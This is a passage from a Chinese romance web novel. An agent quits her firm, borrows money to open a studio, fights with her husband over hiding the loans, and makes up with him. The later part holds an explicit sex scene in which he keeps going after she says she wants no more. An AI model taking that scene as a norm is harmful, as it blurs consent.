沈灼不由得皱眉，雨菲带的艺人走的路线大多都是青春偶像，网剧居多，和关司予根本不是一个发展类型的。杨瑞泽显然是不想再向关司予倾斜资源了。 沈灼还想再争取一下，但被杨瑞泽假模假式打断说：“沈灼啊，你也在公司这么多年了，肯定也是有感情的，虽然辞职了，但是以后没事儿也可以回来看看，过来坐坐，昂。” 沈灼似笑非笑地应了声，说“好”。 走出办公室的那一刻，沈灼难掩心底的苦涩。她难过，是因为她觉得她好像辜负了他。 明明说好一起走下去的，但没想到竟然是她中途先下的车。 而且，杨瑞泽很有可能要放弃关司予，回想这一路走来，她感觉又心痛又遗憾。 回到自己的办公室，沈灼开始编辑消息，打了又删，删了又打，删删改改，好半天才发给关司予出去。 将手头上所有相关文件都汇总好，沈灼将办公硬盘转交给雨菲。 因为之前赵佳语解约时没有经过她而是绕道联系沈灼，让她心里有些不舒服。她面上虽然客客气气，语气却掩不住些微的不满。 “哎呦，杨总也是……”雨菲拿过硬盘插在笔记本上，扫了眼文件夹，有意无意地念叨着，“我现在带越彬就够忙的了，最近通告多得连轴转，我一天连觉都睡不够呢……现在塞给我个人，我哪有时间啊……” 沈灼没理她话里的“潜台词”，淡淡一笑：“所有的通告我已经帮你梳理好了。之前有个国际导演安托万，司予有参加他的试戏，前段时间那边之前发来试戏反馈，说表现很好，但角色人设在修改阶段，最终还不确定。他下半年唯一确定能入组的是《雾灯》，如果不出意外十月上旬会开机，一会儿我把制片人推给你，你们联系一下。”她还在休假期间时，黎雅琦给她打过电话，说是找到了新导演，已经开始在筹备建组了。 雨菲闻言，挑了下眉，“那就一个戏啊？还真挺清闲的。”她笑着说，“沈灼姐，我搞不懂你为什么要辞职啊，关司予这点通告也还好吧，我现在陪越彬赶通告，一天都睡不了几个小时的。” “不是因为忙不忙的问题，我之前带步繁他们，可比你现在忙多了，哪还有个能坐在办公室的时候啊。”沈灼轻笑一声，又说，“作为经纪人，我们最重要的是发现他们的能力，为他们增值，而不是看着谁火就一个劲儿的当羊毛薅，要不然只会两相消耗，然后解约走人。” 雨菲听到后面四个字，笑容僵了下，知道她意有所指赵佳语。 “没什么事我就先走了，有不明白的随时联系我。” 沈灼回办公室后才看到关司予发来的消息，对于她告知他自己辞职以及工作交接给新的经纪人的态度，他像往常回复工作一样，照常回复了个“好的”，其余什么都没再说。 虽然沈灼也没期待着关司予能说什么挽留她的话，但是好歹也一起共事了两年，得知她辞职只回复个“好的”也有点太伤人心了吧，沈灼叹气摇头，接着把剩下的收尾工作完成。 晚上，沈灼叫上宣传、公关、商务和时尚部门的leader一起出去吃饭，得知沈灼有想开工作室的打算，她们纷纷支持。 Nadia感叹道：“要是有需要我们的地方，千万不要给杨狗留脸面，最好把我们都带走。”Nadia比沈灼大五岁，准备和男友买房结婚了，有了房贷后她根本不敢辞职，即便是并不满意现在的工作，可是耐不住待遇还算不错。 “天哪，我得干到多大规模才能请得起你们啊。”沈灼笑说，这眼前几个人的工资加起来一个月都有十几万了。 “等你做大做强的那一天呀。”Nadia冲她眨眼。 被寄托了希望的沈灼笑笑说：“好好好，我一定努力！” * 圈子里没有不透风的墙，沈灼正式离职之后，步繁第一个给她打来了电话，问她要不要来工作室。相比较而言，步繁给的待遇是比鲸禧还要好，但是沈灼略一权衡，还是婉拒了。后来一段时间内，她又陆续收到了好多邮件和信息，很多艺人工作室向她抛出橄榄枝，但她都一一拒绝了。 沈灼当然有思考是接着当经纪人还是自己创业开工作室，然而去到工作室当经纪人其实是没有多少话语权的，大艺人只需要有人帮他们筛选项目，而沈灼，是真的想挖出来一批好演员。 沈灼在家里呆了整整一周，进行市场调研与定位，确定好工作室的特色，写出了一份商业计划书。 沈灼打算走“小而精”模式，对每个签约艺人进行深度运营，而选择的目标客户分为两个方向，一个是纯新人孵化，另一个是选择已经有作品基础但还需突破的成熟艺人或者有极具个人风格的演员。 不过最让沈灼头疼的是出预算，比如工作室的基础成本预估、规划运营模式以及收入来源。 从注册资金、团队工资、办公场地这几方面，她粗略一算，费用都高得吓人，可她现在并没有多少积蓄，想了半天，她只想到一个办法。 九月底的天气十分舒爽，天空蓝得像是被水洗涤过，通透得没有一丝丝杂质，干爽的阳光从开始泛黄的叶子间隙洒下来。 沈灼顶着阳光，从银行走出来。 她刚刚办完了贷款手续，将中湖的那套房子二次抵押，贷出来220万元，但是还不太够，于是她驱车去了迟女士那里。 一听沈灼要八十万，迟女士顿时瞪大了眼睛。 “你要那么多钱干什么？”迟女士倒不是不给，她这辈子一共攒了一百万，就是给女儿当嫁妆的，但是沈灼结婚匆忙，又说不要彩礼嫁妆，这钱便还一直放在她这。 “你不会是被人骗了吧？”迟女士又担心 又疑惑。 沈灼解释：“怎么就被人骗了，我开工作室，要注册资金在账上，还得租办公室什么的，前期方方面面都得用钱呢。” “成章知道吗？” 沈灼点头：“他知道啊。” 迟女士皱起眉头来：“他那么有钱，拿不出八十万给你，还得让你从我这要啊？” 沈灼道：“他光知道我开工作室，别的我都没和他说。他的钱是他的钱啊。” “你这话说的，那我的钱就不是我的钱了？” 沈灼说：“我都说了，是借你的，是借！以后会还给你的。” 迟女士不明白了：“你俩都结婚了，他的钱就是你的钱，你还借什么借？” 沈灼无语地叹口气：“我就是不想和他开口提钱的事……算了，不借就不借吧，我去把车抵押了。” 迟女士一听更急了：“我什么时候说不给你这钱了！你这一天天的我都不知道你脑子里都在想什么，辞都辞职了还折腾开什么工作室啊。”边说着，迟女士进屋，从床头柜的抽屉里拿出一本存折。 存折直接递给沈灼，“你从银行贷款还得还利息，白给人家钱，里面有一百万，都拿去吧，本来这钱也是给你准备的。” 沈灼一听，鼻头有点发酸，她接过来：“嗯，谢谢妈。” 迟女士问：“晚上在这吃饭吧，我做炸酱面。” 沈灼也很久没吃迟女士做的炸酱面了，家里做的比得上外面任何一家面店，她点点头，说：“好。” * 晚上她从迟女士那回来，邵成章已经在家了。 他接过她手里的包，牵着她问：“今天去妈妈家了？” 沈灼点头。 “没有什么想和我说的吗？” “嗯？”沈灼抬头看他，“什么？” 邵成章怔了一秒，随后提了一下嘴角，垂眸掩下了眼睛里的失落：“没什么，这几天工作室的进展还顺利吗？” “嗯，可以啊。明天去把办公室定下然后就可以去工商局办营业执照了。”沈灼丝毫没提钱的事儿。 邵成章淡淡应了声：“有任何需要我的地方就和我说。” “好了，不用担心我，我都OK的。”沈灼笑了下。 邵成章“嗯”了声，没再说什么。 沈灼一心扑在工作室上，光是名字就和姜珺商量了两天，再去掉已经被人注册过的，最后定为“星禾娱乐”。 营业执照拿回家的那天，沈灼特意去书房，拿到邵成章面前“炫耀”一番，但邵成章的表情始终淡淡的，沈灼察觉出来他的不对劲。 “你不高兴吗？”她问。 “没有啊。”邵成章答，“很为你开心，你的工作室已经步入正轨了不是吗？” “那你干嘛一副皮笑肉不笑的样子，一整晚就没听你说过几句话。”沈灼双手撑在桌沿，俯身看着他。 邵成章抬头盯着她，问：“你想我说什么呢？恭喜吗，我已经说过了。” “你到底怎么了？”沈灼轻皱起眉头，“有什么不开心的事吗，可以和我说说。” “那你呢，你有事会和我说吗？”邵成章不答反问。 沈灼疑惑：“会啊，干嘛这么问。” 邵成章盯着她问：“那为什么你需要钱，宁愿去银行贷款去找妈妈要钱，却一点不和我说？甚至我问你，你都不讲？” 沈灼一愣，下意识问他：“我妈告诉你的啊？” “谁告诉我的不重要。”邵成章说，“沈灼，你知道我们已经结婚了吗，我们是一体的，你为什么每次都要分得那么清楚，你是你的，我是我的，你真的想过‘我们’吗？” “不是，这事我可以搞定啊，我为什么要拿你的钱呢？” “你看，你还一直觉得这是我的钱，我是你的丈夫，你有想过吗？” 沈灼哑口无言：“我……我只是觉得我自己能行，不需要你帮忙，这些我一个人可以做好。” “是，你一直都不需要我。”邵成章道，“在你心里，我到底是什么人呢？你真的爱我吗？” 沈灼反驳道：“你怎么能这么说？我当然需要你，我只是不想事事依赖你，不代表我不在乎你！这很难理解吗？” “我怎么可以？”邵成章声音没有提高半分，反而更冷静，“沈灼我在意的是，你遇到困难的第一反应，从来都不是‘我们一起解决’，而是‘我自己来搞定，不要麻烦他’。你一边说爱我，一边却像在和我划开界限。” “不是啊！”沈灼语气有些急了，“我不是在划清边界，我只是想自己做好自己的事！” “嗯，从来都是你自己的事，你也说了不想依赖我，你连最基本的信任和依赖都不肯给我。” “我怎么就不给你了，你为什么总在纠结我需不需要你呢？如果你想要的是一个时时刻刻都需要你，想着你，围着你转的人，那对不起我做不到。我从小就独立惯了，就是不喜欢麻烦别人，你不喜欢那你就去找别人——” 话如刀刃出鞘。 空气突然凝滞。 邵成章脸色微变，沉默了几秒，冷声问：“沈灼，你知道自己在说什么吗？” 第69章 这话一说出口，沈灼就后悔了。 “不是，我……” 邵成章直接站起身，经过沈灼的时候丝毫没有停留，径直走了出去。 沈灼有点愧疚，天啊，自己刚刚在说什么啊…… 她立即转身，跟在他身后，见他走到玄关了，开口问他：“你去哪儿？” 邵成章脚步一顿，却没转过来，冷着声说：“你不是让我找别人吗，好啊，如你所愿。” 沈灼皱起眉头，其实也知道他说的是气话，但这阴阳怪气的语气让她更生气。她忍不住回击道：“找吧，你爱找几个找几个。” 邵成章气得抬脚就走，电子锁“咔哒”一声，重重地关上了。 “靠！”沈灼双手掐着腰站在原地，盯着那扇关上的骂出来一句，“就你会走吗……”沈灼快速走回卧室，三下两下换了衣服出门，驱车去了中湖。 姜珺在家，听到门口有动静，从卧室出来，看到沈灼过来她还有点惊讶，“怎么回来了？” 沈灼气呼呼地将车钥匙往鞋柜上面一扔，换了拖鞋走进来，“和邵成章吵架了。” “啊？”姜珺好奇问，“为什么啊？你们俩不是挺好的吗？” “好个屁，他纯找事儿。”沈灼走到隐藏酒柜，拿了一支拉弗格10年，姜珺从杯架上拿了两个威士忌杯。 沈灼开封，给两人各倒了一杯底多点，纯饮。 这是一支口感很烈的威士忌，泥煤味道很重，光是拿杯子凑近一点，就能闻到浓烈的味道刺入鼻腔，顶的不舒服。沈灼皱着眉头抿了一口，舌尖充满辛辣，接着入喉都带着火似的，余味在灼烧感中会有一点焦糖的味道。 以往沈灼是从来不会纯饮这么烈的酒的，姜珺知道这是真的把人气到了，她拎起杯子和沈灼的碰了下，“说说。” “就我没和他说我去银行贷款的事，他就质问我为什么不和他讲，他说这笔钱他可以给我……”沈灼说起来，说完，她又追问一句：“你说这是我的问题吗？我不和他要钱还是我的错了？” “而且是三百万啊，又不是小钱，我自己解决搞来了不应该替我开心吗？我要是个男人，有个搞事业又不花自己钱的老婆，我高兴死了。我都不懂他较个什么劲儿，这不就是找事吗……”沈灼越说越激动。 姜珺想了想说：“听你说完，我其实有点理解邵成章。” “啊？”沈灼转头看着她，“为什么？” “就是你们俩还没彻底交心啊。”姜珺分析，“你看，你银行贷款这事儿，我知道，阿姨知道，但是邵成章也是你最亲密的人之一，就算你不想用他的钱，你也应该告诉他啊。” “那我也没要求他工作上的事儿件件都告诉我啊。”沈灼反驳。 “那还是不一样的。”姜珺想了下说，“他的工作就是他的日常，但是你现在经历的这些事，对你来说是一个新的开始，而且你经历的这些他一定都经历过，他肯定希望你能和他多分享一下呗。” “再说了他又不在乎钱，他是在乎你到底把他放在哪个位置。” 沈灼抿着杯沿，没说话。 “其实说白了，”姜珺说，“你就是太习惯一个人扛着事了，你觉得不麻烦别人就是对关系的尊重，可站在他的立场，他可能觉得自己不被需要，不被信任。在行为上，你说不说都没有错。但是在一段关系里，你这样确实会让人觉得不够敞开心扉，还是有所保留，他没有安全感也是正常的。” 沈灼指腹轻轻摩挲着玻璃杯壁，叹气道：“这也不行那也不行，谈个恋爱麻烦死了。” “哎，知足吧你。”姜珺笑起来，“你们好歹是因为喜欢才会吵架啊，有的人只能单相思呢。” 沈灼一听，觉得姜珺话里有话，“谁啊？你吗？你和那个男嘉宾有情况？” “没有。”姜珺否认，“我们说好了就是纯约。” 沈灼不信：“听你这口气，你不会是喜欢上他了吧？” 姜珺掩饰住自己的情绪，笑着说：“没有啊，我可是万花丛中过，片叶不沾身。欸，你别转移话题，说你的事儿呢。” 沈灼往后一仰，头枕在沙发上，望着天花板叹了口气。 所以她对邵成章还没有彻底打开心扉吗？但现在想想，她从来都没有真的向他表达过需要或者是依赖，邵成章为她做的所有事，都是他主动自愿她被动接收的。 “那为什么会这样呢，是我不爱他不信任他吗？”沈灼喃喃开口，像是在问姜珺，又像是在问自己。 “不是，是你还没彻底放下防备。”姜珺道。 沈灼没了头绪：“那我要怎么做啊？” 姜珺想了想，说：“允许自己向他展示你的脆弱和依赖，让他知道、看见你真实的情绪。不需要一直说‘我可以’、‘我能搞定’这样的话，而是真实地告诉他遇到的困境，哪怕你可以自己搞定，但你愿意把那个过程向他敞开……这样才会加深你和他之间的链接啊。” 沈灼似懂非懂地点点头。 “有个简单的办法就是你能对我说什么，就可以对他说什么。” 沈灼接话：“那还是不一样呢，我什么都可以和你说。” 姜珺撅着嘴巴道：“虽然我也不想在你心里邵成章变得和我一样重要，但是没有办法。” 沈灼和她保证：“没事儿，经典问题，你和他掉水里，我肯定先救你。” 姜珺心生感动，抱着她的胳膊在嘤嘤嘤，便听沈灼说：“反正邵成章游泳特别好，他淹不死的。” “……”姜珺的感动瞬间稀碎，她突然抬起头，忿忿地说：“你个不会游泳的跳下水，到底是在救我还是害我啊。” 沈灼忍不住笑起来，“你们俩救我吧。” 姜珺给她一个大白眼，沈灼拿起杯子和她碰了下，她抿了一口酒后立即皱起眉头，这次忍不住吐槽道：“这酒纯饮可真难喝。” “……”姜珺制止她，把她剩的几口酒倒在自己的杯子里，“你别喝了，纯浪费。” “对了，还有啊。”姜珺想了想，补充道，“你要允许他也有情绪，不要一吵架就说‘不喜欢我你就去找别人’这种话。万一他真的去找了怎么办？” “他敢？”沈灼蹭地直起身来，睁大眼睛哼了声，“他要是真敢出轨，我把他那儿剁了挂他们公司门口。” “哈哈哈……”姜珺捧腹大笑，“够狠的你。” 与此同时，正坐在“渡”二楼吧台上找别人喝酒的邵成章，忍不住打了个喷嚏。 梁老板冲他一笑，戏谑道：“信不信，肯定是你老婆骂你呢。” 邵成章淡淡地斜睨了他一眼。 梁老板看了眼时间，已经快凌晨了，“所以你今晚是打算不回家了？” “不回。”邵成章倔劲儿也上来了，他怎么想都不觉得自己有错，除非沈灼先找他和好。 “你就不怕你老婆不找你啊？” “闭嘴吧你。”邵成章哼声，“我就告诉你她不可能不找我。” “行。”梁老板挑眉，撇着嘴忍不住笑。 * 沈灼在中湖住了三天，没回悦澜湾，也没找邵成章，而是把她有意向的签约艺人筛选了一遍，期间也无数次拿起手机查看消息，就是没有邵成章发来的。 邵成章也还真沉得住气，这三天里，一次也没主动找她。 收到了战袍的快递包裹，姜珺让她赶紧回悦澜湾。沈灼还是有点拉不下脸来先开口，以前也不是没哄过他，但也都是些小打小闹，不涉及两个人真正的情绪，这次沈灼觉得邵成章是真的生气了。 姜珺直接推给她一个情/趣内衣的链接，“穿这个，男人在床上的时候就是最低防的时候，到时候服个软就哄好了。” 沈灼想起之前邵成章好像看她穿这种就会很兴奋，一想还是下单了。 邵成章也就嘴上和梁屿琛逞能，当天晚上还是从“渡”回去了。一回家，发现沈灼人已经不见了，更生气了。 但即便生气，他这几天也还是按时下班，每次到了家门口都要看看有没有沈灼的鞋子，她已经三天都没回来了。 沈灼回来的时候还是下午，她准备等邵成章回来，给他做个晚餐。 以往沈灼和迟女士吵起来，谁也不服谁的时候，就会僵持着，一直到吃饭时间，迟女士会问她吃不吃饭，沈灼说吃。两个人坐在饭桌上，也不用再说额外的什么，就顺其自然地和好了。 沈灼决定就这样。 邵成章晚上回家，发现门口有沈灼的鞋子，知道她回来了，他的嘴角忍不住翘起来，笑了两秒后又强迫自己冷静下来，他的气还没消呢。 他解锁进门，沈灼正在岛台的冲洗池洗菜，听到声音，她关掉水龙头，走到玄关的墙后面悄悄听着，确认是邵成章回来后立即又走到岛台旁开始冲洗，装作自己正在忙。 岛台的冲洗池是正对着客厅那边的，邵成章进来一定会看见她。 然而出乎她的意料，邵成章路过她时，目不斜视地从她面前走过去了，压根没有为她驻足停留。 沈灼望着他走过去的背影，愣了下。 行，真行。 邵成章走到书房，把公文包放下后，走到玻璃门后面，几次探出头去观察沈灼会不会过来。 等了几分钟，似乎一点没听到脚步声，邵成章决定再去厨房晃悠一圈。 刚踏出去，他听到沈灼似乎往这边走来了，于是赶紧疾步坐到书桌后面，慢条斯理地打开公文包，将笔记本拿出来。 沈灼板着脸走到门口，抱胸倚靠在玻璃门，问他：“晚饭吃不吃？” 邵成章抬眼看她，克制着声音和表情说：“不吃。” ……靠！ 不吃就不吃！沈灼转身就走。 就他这拽了吧唧的态度，她还道什么歉啊。 沈灼不管他了，爱咋的咋的。她用汤锅煮了份清汤面，一边平底锅煎了点豆腐。 洗锅的时候，她没注意冷热水，打开水龙头，冷水猝然泼在锅底还滚着热油的平底锅里，顿时“噼啪”炸响，油点飞溅，直接崩在她的手背上。 沈灼疼得下意识松开手，锅子“砰”一声砸在水池里。 “怎么了？”几乎是同时，邵成章闻声快步冲进厨房，看见沈灼垂着头盯着自己的手背。他握住她的指尖查看，发现她手背上有个黄豆大小的红色印子。 “烫到了吗？”他着急地问。 “嗯。” 邵成章将锅拿起来放在台子上，打开水龙头转到最冷的方向，给沈灼冲洗手背。 沈灼任由他给自己降温。 水太凉了，冲洗一会儿沈灼就觉得是被冰的刺痛，忍不住往回缩手。 “再冲一会儿，要不然容易起水泡。”他一边说，一边检查她另一只手，“还有没有别的地方 烫到？” 沈灼摇头说：“没有。” “我给你拿蜂蜜擦一下。”邵成章转身要去开冰箱，被沈灼直接拽回来。他向前踉跄两步，嘴唇几乎快要碰到她的额头。 沈灼握住他腰两侧的衬衫不松手，低着头小声地问：“邵成章，你还生气吗？” 邵成章一顿，没想到沈灼会这么问，他吸了口气，鼻尖全是她的气息，他心底的情绪翻腾了下，好想她。 “先把烫伤处理了，再不处理我就真的生气了。”邵成章说。 沈灼听他这么说，也不顾及什么情面脸面了，踮着脚双手搭在他的脖子上紧紧挂着，抬起小腿勾住他的膝盖想要往上蹭。 “你抱我。”沈灼一声命令里还透着撒娇的意味。 邵成章无奈地叹口气，稍一弯腰，手托住她的大腿，将她抱起来。 沈灼下巴搁在他的肩膀上，语气软下来：“是我不对，以后有什么事我都会和你说的，不会再自己扛着了。” “嗯。”他声音低低地应着。 沈灼接着说：“没有不需要你，也没有不信任你。” “嗯。” 沈灼拉开一点距离，终于对上他的眼睛，不满地问：“你干嘛只是‘嗯’，就没有什么想和我说的吗？” “其实相比生气，我还是难过多一点，感觉自己好像对你一点用都没有。”邵成章用鼻尖蹭蹭她的，“其实不应该怪你的，这几天我也在想，是不是我的要求太严苛了。” “我们本来就不是按照常规的步骤恋爱结婚，对我们的进展来说，现在只是在恋爱，才谈几个月，我却要用婚后夫妻的标准要求我们的关系和相处模式，是我太心急了。” 沈灼没想到邵成章会这样想，此刻她心里涨涨的，可嘴上却是得寸进尺不依不饶，“你都认识到了你还不找我。” 邵成章无奈一笑，低头在她脸颊上轻咬一口，“有时候，男人也是有些自尊心和面子在身上的。不过你再不回来，我马上就要忍不住了。” 沈灼额头贴在他的额头上，轻声道：“那我们不冷战了。” “嗯。”邵成章点头，一双深情眼紧紧盯着她，“不冷战了。” 邵成章掂了掂她，想让她坐得更稳，沈灼却趁机夹住他腰侧，身子挺直，整个人往上挪了些，这样她还比邵成章高一点点。 她微微低头看着他，换成单手搂着他，另一只手抚上他的脸，猛地低头亲了上去，气息交缠。 邵成章下意识伸手托紧她，等到她松了口，他才低声说：“先看看手。”他还惦记着她的伤势，要放她下来沈灼却搂着他不松手。 沈灼的唇还贴着他的，含糊地说：“不疼了，等我亲够了再说。” 第70章 亲到缺氧，沈灼才停下。邵成章将她放在岛台上，微微喘着还是先去看她的手。 “真的不疼吗？”印子刚刚还是嫩红色，现在颜色变深了一点。 沈灼盯着那烫伤的地方，这才感到有点火辣辣的，她撇着嘴巴，可怜巴巴地说：“疼。” 邵成章忍不住，抬手在她后腰拍了一巴掌，用的劲不大，“以后不准进厨房了。” 沈灼理直气壮道：“那又不是我的问题，是我问你吃不吃饭，是你说不吃的，我只能自己来做饭啊。” 邵成章哄着她：“好好好，是我的错。是我不识好歹，嗯？老婆都给我台阶了，我还不赶紧下来，还让老婆受伤了。”他的认错态度十分优秀。 沈灼晃荡着小腿，踢在他的大腿上，“本来就是你的问题。” 邵成章宠溺地“嗯”了声，转身去冰箱拿出蜂蜜，用勺子挖出来一点涂在沈灼烫到的地方，“今晚就别洗澡碰水了。” 沈灼顿了一下，不洗澡她还怎么穿准备好的战袍啊，虽然现在她和邵成章已经和好了，但是她还是想给他一个惊喜。 小腿勾起来锁住他，她说：“你给我洗吧。” 邵成章怔住了一秒，他都怕自己出现了幻听，“宝宝怎么感觉这么粘人了。” 沈灼弓腰一头抵在他颈窝，不让他看到自己发热的脸，“我这样，你不喜欢吗？” “喜欢。”邵成章偏头去亲吻她的耳垂，她垂落下来的发丝，和透红的脸颊，“喜欢死了。” 沈灼勾勾唇，心想，晚上还有让你更喜欢的呢。 邵成章搂住沈灼的腰把她抱下来，催她先吃饭。 “那你和我一起吃点？我还下的面。”她把一盒豆腐都煎了，还有一小锅汤面，一个人也吃不了。 邵成章点头，笑着说：“嗯，你下面我爱吃。” 沈灼无语地撇他一眼，邵成章将面和豆腐放好，沈灼拿了两个碗来，要把面分开。 “不用分，你先吃，要是剩了我吃你的。”沈灼下的鸡蛋面，面条细，看着没多少，邵成章怕两人一分不够吃的。 沈灼吃着，邵成章就坐在她对面陪她。 “万花筒那边重新给我交了几个大纲过来，你想不想看看？”邵成章说。 沈灼点点头：“好呀。不过我平时看剧本比较多，大纲太初期了，我怕我看不出来什么，你要是需要，可以找姜珺帮你看看。” “没事，现在还没定下来，只是有三个方向，你看看喜欢哪一个。” 沈灼说“行”。 她也没多饿，煎豆腐沾着烧烤调料吃了好几块，面条夹了几口就饱了，她将小锅直接推过去给邵成章。他也不嫌弃，确认沈灼是真的吃饱了才拿过她的筷子和小锅，把剩下的面条和豆腐都吃了。 吃完饭，邵成章给她发了几个PDF，他说他不满意之前的剧情，于是又让导演团队重新写了几个方向。沈灼趴在沙发上看起来。 邵成章忙完工作从书房出来，沈灼喊他过来。茶几上有一张A4纸，她示意他递过来，沈灼写字有一种豪迈之气，写了七八条已经快占据一页了。 “我看完了，和你说说……”邵成章只是想她简单看看，没想到沈灼十分认真地对待这件事。 她说了自己最喜欢哪一个版本，笔戳着纸，一条条给他解释每个版本她认为可以修改的地方，说着说着还会讲到她看过的其他的电影举例。 邵成章也仔细地听着，而且听完她的分析之后，他是十分赞同沈灼的意见的。 “你分析的这么到位，完全可以转去当制作人投片子。”邵成章提议。 沈灼抿着嘴巴，浮现一丝笑意：“那我这水平还是差点意思吧。” “怎么这会儿谦虚了？”邵成章笑道，“每个项目都是一次博弈，但你能看到项目背后匹配市场的点，是很难得的。” “怎么说呢，以前我是站在艺人角度去分析市场匹配角色契合这些，但是换个身份我可能以前惯用的那套方法会不好用。” 邵成章颔首了然：“没事，不管做什么我都会支持你，所以现在我们还要继续讨论工作吗，嗯？” 沈灼一看时间，都快十二点了，她和邵成章已经聊了快一小时了，她笑笑说：“去洗澡。” 邵成章还是有点担心她的手，怕会不小心沾到水。 沈灼看了眼手背说，“蜂蜜很好用，已经不疼了。”涂手上没一会儿她就没什么感觉了，也不知道是真的蜂蜜的作用还是她在看文件转移了注意力感觉不到了，但是现在是真的不疼了。 蜂蜜已经被沈灼擦掉了，邵成章给她用碘酒擦了下贴了个防水创可贴，又拿来一只一次性塑胶手套给她套上才抱她去浴室。 邵成章没敢闹她，但即便他特别老实地给她擦沐浴露，他还是起了反应。沈灼高举着受伤的手，另一只手就在他身上点火。 光点火又不泻火，邵成章忍得呼吸粗重，直咬后牙。 沈灼洗好了就要先出去，被邵成章拉着不肯。她想，这可不能一起出 去，那她就没时间准备了。于是她捂着嘴巴假装打了个哈欠，“老公，我困了。你快点洗好不好，我想抱着你睡。” 邵成章深吸了一口气，给她拿浴巾擦干，围好放她出去。 沈灼关门之前探头进来，坏嘻嘻地笑说：“不可以在里面做坏事哦，快一点出来，我等你。” “嗯。”邵成章喑哑地应了声，等沈灼关上门，他直接开到冷水，对着一个地方冲洗冷静。 * 还好提前试穿过，以至于现在不用手忙脚乱。 沈灼买了一件挂脖的内裤，从前面一根长长的蕾丝带子圈住脖子，上身搭配了一件收腰的荡领吊带，右腿上带了一个白色蕾丝的腿环还配了一双过膝的白丝袜。 沈灼觉得这样反倒比不穿还要有感觉，半遮半掩其实才最性感。 听到邵成章关掉了淋浴，沈灼迅速跑到洗手间门口，靠着墙，头发分成两拨，搭在肩前。 邵成章推开推拉门，看到眼前的人直接怔住了。 他从来没见过沈灼这么清纯的样子，以前她偏向御欲风，这次全部都是白色系，又纯又欲。 刚熄火的机器又忍不住开始想要发动了。 沈灼抵在墙上，微微收着下巴，抬眼看向邵成章，慢慢地冲他眨眼睛，一双无辜可爱的眼睛又像是有钩子一般，将他整个人都钓起来了。 邵成章上前一步，手搭在她的腰上，往怀里一带，眼神炽热地盯着她：“不是说要睡觉？” 沈灼身体和他的贴在一起，她微微后仰，不答反问：“你现在想睡吗——欸！”她惊呼一声。 “小骗子。”邵成章一下子将她打横抱起来走到床边，放下。 沈灼屈起小腿坐在床边，后撑着胳膊，邵成章单脚站在床下，另一只膝盖跪着强行挤开她的双腿。 一手按在她的后脑，他俯身用力吻住她。 指尖沿着内裤上面的几根装饰细带慢慢摩挲，或者勾起来又松开，细带会弹在小腹上，带起一阵阵的颤。栗。 邵成章亲的用力，沈灼撑一会儿就感觉手腕发酸，于是腿也放平了，想要往下倒。 他感应到了，于是换他抽出一只手撑着，让她躺在床上。 邵成章冲她轻笑道：“累了？” “手腕酸。” 邵成章说：“那我来。” 他低头亲吻她，吮吸她，搅。弄她，一处也不放过。 喜欢舌面和她的皮肤直接接触的触感，邵成章松了吊带后面的绳子，让领口几乎掉到肋骨的位置，他闭上眼睛含住。 沈灼受不了，一直小声哼着，扭着。 有布料在一旁挡着，软。肉反而有点乱晃。 邵成章侧首眯着眼睛盯着另一边，忍不住抬手扇了一下，“啪”一声发出清脆的声响。 两个人都是一愣。 被拍到的位置马上出现一片粉红。 邵成章最先反应过来，抬起头问她：“疼不疼？” 沈灼忽然笑了下，摇摇头，说不疼。 “喜欢？”邵成章抬手又来了几下，但是他一直避开了最敏感也是他最喜欢的位置。 沈灼忽然捂住脸，胳膊抵在胸前，呜呜咽咽地不让他继续了，“别——别扇了。” 邵成章低笑一声，见好就收，又去湿润别的地方。 沈灼被他弄得直哼气，刺激得生理性泪水一直淌，怎么也止不住。 邵成章坚持到被她浸透。 但是内裤是一体的，要先把她脖子上的蕾丝挂脖套出来，他没这耐心，直接拨开。 积攒了几天，邵成章用力地一下一下告诉她。 沈灼又开始流眼泪了，生理性泪水混杂着痛的，爽的，整张脸都湿了。 邵成章倾身，将她的眼泪一点点啄吻掉，一边吻着一边哄她：“宝宝，不哭了。” 嘴上说的好听，可他丝毫没收着，她哭的越嘶哑，叫的越大声，他凿的越用力。 沈灼就是一副妖精的模样，他恨不得就这样一直嵌在她的身体里，永远不要出来。 沈灼想说别弄了，可是好不容易从喉咙里挤出一点声音，全被他冲散了，什么都听不清。 脸上又全是泪痕，邵成章又伸出舌尖，像小狗一样把她的眼泪舔干净。 也许是一瞬间，也许是好久，沈灼已经失去了对时间的判断，突然巨大的酥麻让她整个人忍不住蜷缩起来。 发抖、瑟缩…… 邵成章抱住她，和她贴的紧紧的，“宝宝好棒。” 沈灼抽咽道：“我不来了。” 邵成章装作没听清，问她什么？ 沈灼眼圈红红的，顶着鼻音说：“我不要了。” 那怎么行呢？ 邵成章不能再看到她的眼泪了，等她气匀一点，他离开她，直接将她翻过来，背对着他，让她跪在床上。 沈灼说着不来了，可是这个姿势她还是忍不住塌下腰去，显得腰臀比更加突出了。 被白色蕾丝包裹住的屁股显得更加饱满，中间特意设计一个心形的镂空，可以直接穿过去。 邵成章扶着她的腰，固定好，另一只手忍不住拍在她的屁股上。 不疼，但羞耻，可也有点爽。 几乎不用准备，邵成章换了个新的小气球重新开始。 这个资势，沈灼的感觉更加强烈，哼出的声音更勾人更缱绻，时不时还伴随着清脆响亮的巴掌声。 邵成章想起沈灼让他找别人的气话，使劲一凿，而后俯身趴在她身上，握起一拳压在她的小肚子上。 这样她几乎能鲜明地感受到他。 可是她同样也撑不住了，她没力气了，她太软了，直接趴在了床上，脸埋在被子上。 叫起来，像一只受了欺负的小猫，又可怜又委屈。 “还让我找别人吗？”一巴掌。 沈灼用所剩无几的力气摇头，“不、不了……” “让我找几个？”又是一巴掌。 “呜就、就我一个……” “让我操谁？”再一巴掌。 “呜……我…” “真乖。”邵成章吻在她的肩膀上，蝴蝶骨上，抱住她。 夜已过大半，昏黄的床头灯终于被摁掉，房间陷入一片黑暗与安静。只有床上相互依偎的两个人，紧紧贴着的两颗心脏的跳动声与彼此交缠的呼吸声。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-80 第71章 又是一身的印子。 沈灼在衣帽间换衣服的时候，才发现浑圆的胸的侧下方，好像是斑斑渗出来的红血点。她眯着眼睛有些看不清，凑近穿衣镜，确定了不是往常那种捏出来的发红的指痕。 这是昨晚被邵成章扇成这样的。 像是红痧。 沈灼想了两秒，跑出去拿手机回来打开了相机。她胳膊横在胸前，挡住了关键部位，只是对着红血点那里拍了一张，冷白皮上全是深红血点，看着还有点触目惊心。 打开修图软件，沈灼把原图调成了黑白色，血色点点就变成了黑灰色。 她直接发给了邵成章。 沈灼：“渗血了[委屈]。”她就是要故意说的好像很严重一样。 